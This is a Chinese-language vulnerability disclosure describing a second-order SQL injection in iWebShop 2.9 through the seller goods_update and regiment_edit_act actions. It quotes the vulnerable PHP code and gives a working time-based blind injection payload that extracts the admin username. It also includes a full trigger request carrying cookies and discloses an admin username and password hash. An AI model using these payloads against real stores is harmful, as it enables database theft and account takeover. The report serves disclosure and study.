### 简要描述: Iwebshop最新版二次注入一枚 ### 详细说明: 看到wooyun上有人提了几个iweshop(2014-11-18更新)的漏洞( [WooYun: iWebShop开源电子商务系统SQL注入漏洞](http://www.wooyun.org/bugs/wooyun-2014-087202) ),去官网看了看,在2014-12-16 已更新到了 iwebshop2.9.14121000,下下来研究研究,希望不要重复。 写入Payload的点:POST /index.php?controller=seller&action=goods_update POST参数中的img 触发注入的点:POST /index.php?controller=seller&action=regiment_edit_act 看看Payload是如何写入的/controllers/seller.php ``` //商品更新动作 public function goods_update() { $id = IFilter::act(IReq::get('id'),'int'); $callback = IFilter::act(IReq::get('callback'),'url'); $callback = strpos($callback,'seller/goods_list') === false ? '' : $callback; //检查表单提交状态 if(!$_POST) { die('请确认表单提交正确'); } //初始化商品数据 unset($_POST['id']); unset($_POST['callback']); $goodsObject = new goods_class($this->seller['seller_id']); $goodsObject->update($id,$_POST); $callback ? $this->redirect($callback) : $this->redirect("goods_list"); } ``` 去看看update是如何把Payload写入的 ``` public function update($id,$paramData) { $postData = array();...
### 简要描述: Iwebshop最新版二次注入一枚 ### 详细说明: 看到wooyun上有人提了几个iweshop(2014-11-18更新)的漏洞( [WooYun: iWebShop开源电子商务系统SQL注入漏洞](http://www.wooyun.org/bugs/wooyun-2014-087202) ),去官网看了看,在2014-12-16 已更新到了 iwebshop2.9.14121000,下下来研究研究,希望不要重复。 写入Payload的点:POST /index.php?controller=seller&action=goods_update POST参数中的img 触发注入的点:POST /index.php?controller=seller&action=regiment_edit_act 看看Payload是如何写入的/controllers/seller.php ``` //商品更新动作 public function goods_update() { $id = IFilter::act(IReq::get('id'),'int'); $callback = IFilter::act(IReq::get('callback'),'url'); $callback = strpos($callback,'seller/goods_list') === false ? '' : $callback; //检查表单提交状态 if(!$_POST) { die('请确认表单提交正确'); } //初始化商品数据 unset($_POST['id']); unset($_POST['callback']); $goodsObject = new goods_class($this->seller['seller_id']); $goodsObject->update($id,$_POST); $callback ? $this->redirect($callback) : $this->redirect("goods_list"); } ``` 去看看update是如何把Payload写入的 ``` public function update($id,$paramData) { $postData = array(); $nowDataTime = ITime::getDateTime(); foreach($paramData as $key => $val) { $postData[$key] = $val; //数据过滤分组 if(strpos($key,'attr_id_') !== false) { $goodsAttrData[ltrim($key,'attr_id_')] = IFilter::act($val); } else if($key[0] != '_') { $goodsUpdateData[$key] = IFilter::act($val,'text'); } } 无关代码 ``` 再去看看IFilter::act /lib/core/util/filter_class.php ``` public static function act($str,$type = 'string',$limitLen = false) { if(is_array($str)) { foreach($str as $key => $val) { $resultStr[$key] = self::act($val, $type, $limitLen); } return $resultStr; } else { switch($type) { case "int": return intval($str); break; case "float": return floatval($str); break; case "text": return self::text($str,$limitLen); break; case "bool": return (bool)$str; break; case "url": return self::clearUrl($str); break; case "filename": return self::fileName($str); break; default: return self::string($str,$limitLen); break; } } } ``` 当输入的参数名不包含attr_id_或者不以_开头,则执行IFilter::act($val,'text');对用户的输入进行了addslashes处理,然后就写入了数据库,我们都知道\’在入库时,\是会被去掉的,所以,单引号被写入了数据库。如下图 [<img src="https://images.seebug.org/upload/201501/2123530003264d88b1f35d89e3d520f0f2e581ac.jpg" alt="写入payload副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/2123530003264d88b1f35d89e3d520f0f2e581ac.jpg) 关键问题是被写入的单引号在哪个地方被读出然后再入库,在这个地方找到了/controllers/seller.php ``` //[团购]添加修改[动作] function regiment_edit_act() { $id = IFilter::act(IReq::get('id'),'int'); $goodsId = IFilter::act(IReq::get('goods_id'),'int'); $dataArray = array( 'id' => $id, 'title' => IFilter::act(IReq::get('title','post')), 'start_time'=> IFilter::act(IReq::get('start_time','post')), 'end_time' => IFilter::act(IReq::get('end_time','post')), 'is_close' => 1, 'intro' => IFilter::act(IReq::get('intro','post')), 'goods_id' => $goodsId, 'store_nums' => IFilter::act(IReq::get('store_nums','post')), 'least_count' => IFilter::act(IReq::get('least_count','post')), 'regiment_price'=> IFilter::act(IReq::get('regiment_price','post')), ); if($goodsId) { $goodsObj = new IModel('goods'); $where = 'id = '.$goodsId.' and seller_id = '.$this->seller['seller_id']; $goodsRow = $goodsObj->getObj($where); //出库啦 //商品信息不存在 if(!$goodsRow) { $this->regimentRow = $dataArray; $this->redirect('regiment_edit',false); Util::showMessage('请选择商户自己的商品'); } //处理上传图片 if(isset($_FILES['img']['name']) && $_FILES['img']['name'] != '') { $uploadObj = new PhotoUpload(); $photoInfo = $uploadObj->run(); $dataArray['img'] = $photoInfo['img']['img']; } else { $dataArray['img'] = $goodsRow['img'];//把img写入了$dataArray['img'],而$dataArray下面会入库 } $dataArray['sell_price'] = $goodsRow['sell_price']; } else { $this->regimentRow = $dataArray; $this->redirect('regiment_edit',false); Util::showMessage('请选择要关联的商品'); } $regimentObj = new IModel('regiment'); $regimentObj->setData($dataArray); if($id) { $where = 'id = '.$id; $regimentObj->update($where); //入库啦 } else { $regimentObj->add(); } $this->redirect('regiment_list'); } ``` 请看上面代码中的注释,说明了出库再入库的整个过程。 测试方法:申请开店后,登录,发布一个商品,因为第一次发布产品其id为1,而每发一个产品id自动加1,在触发漏洞时的参数goods_id即为这里的id,每次加1即可(写脚本跑也方便了),漏洞会在添加修改团购时触发。 写入Payload时的payload:POST提交 ``` id=&img=' or(select if(ord(mid((select admin_name from iwebshop_admin limit 0,1),1,1))=97,sleep(1),0))or'&_imgList=&callback=%2Fseller%2Findex&name=a&search_words=a&sort=99&unit=a&_goods_no%5B0%5D=SD142184781210&_store_nums%5B0%5D=100&_market_price%5B0%5D=123&_sell_price%5B0%5D=234&_cost_price%5B0%5D=345&_weight%5B0%5D=123&model_id=0&brand_id=0&is_del=3&content=&keywords=&description= ``` 触发漏洞时的部分payload:post提交 ``` POST /index.php?controller=seller&action=regiment_edit_act HTTP/1.1 Host: 192.168.0.107 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:35.0) Gecko/20100101 Firefox/35.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh,zh-cn;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.0.107/index.php?controller=seller&action=regiment_edit&id=1 Cookie: AJSTAT_ok_times=8; bdshare_firstime=1414502402741; ypsdffp2app_admininfo=3ea11oJSSGDzcgLaKJDrFiEPRQYqj%2Blp5mLLe86ouSLzMcMMel8RqXt%2BcZaONpt0jYKtml%2FsZqrOv32i8lriIBjKBlTBDmbz6JsxAIZYnUnYVJQ; iweb_safecode=480691d9d1OTA2OTUwMDQxMzI4YjU0ZWw2NTBiMjNlMD9nZTA1MDc; iweb_seller_id=658d8a2adfMDMxNzIwMDA5MjBiNzU9MzhiYDJsNzA1OTs2YWFkZmMx; iweb_seller_name=658d8a2adfMDMxNzIwMDA5MjEzYWZoZzY8YDU8MTEyMWA1ZjRiMjZwaGdzZnN3; iweb_seller_pwd=480691d9d1OTA2OTUwMDQxMzc1MGQ7Oj9hYzUzOGMyYWg3MmBmZGRjNTA5YWFjMTA4NDM5MjE9ZTQ0YzZhMmk7MDpjMTBhNg; iweb_shoppingcart=daab27438eMDAwODI0MDA3ODcwY2JlMGZkZzE4YjAzZDw1MzA8Mz57JmFpb2NxLjlbXSIleXtsZ3VidCY6W15%2F; iweb_user_id=50efcc9726NjAzMDA5MDUwNDcxYzQ2b2YzNTBpMzBlOTZhZjUyOT8; iweb_username=50efcc9726NjAzMDA5MDUwNDcxYzQ2b2YzNTBpMzBlOTZhZjUyOT8; iweb_head_ico=50efcc9726NjAzMDA5MDUwNDcxYzQ2b2YzNTBpMzBlOTZhZjUyOT8; iweb_user_pwd=cfe17d7df9MDAwODIwMDA1MzI6ZDQ2YGU2NjFiOzBlMDZqbzQyOTY; iweb_visit=fe1f056e18MjAwOTAwMjE4MzZkMGY1MGZlZjg1YTlgZDdqPWQ0MTMlNyM; ipAddress=%E5%9B%9B%E5%B7%9D; iweb_captcha=85205ae681MDQ2MDQ1NTIwNTEwYWU2YWo4ZWc1YjJkYz1hbDI3PDJjYnFjZg Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------288682924126107 Content-Length: 1138 -----------------------------288682924126107 Content-Disposition: form-data; name="id" 1 -----------------------------288682924126107 Content-Disposition: form-data; name="goods_id" 12 ``` 因为是time-based blind 注入,猜测管理员用户名的第一个字母时,若错误,延迟2s左右,如下图 [<img src="https://images.seebug.org/upload/201501/212354152bc3f0af586893e02b2e2580ac26bf49.jpg" alt="猜测失败副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/212354152bc3f0af586893e02b2e2580ac26bf49.jpg) 若正确,延迟3s左右(和数据库中的记录有关)如下图 [<img src="https://images.seebug.org/upload/201501/21235436c0b869560bfacf2026e09d5149235f87.jpg" alt="猜测成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/21235436c0b869560bfacf2026e09d5149235f87.jpg) 按上面的方法依次做下去(burp intruder或者自己写个脚本跑),可测试管理员用户名为:admin,密码为: f6fdffe48c908deb0f4c3bd36c032e72 ### 漏洞证明: 见 详细说明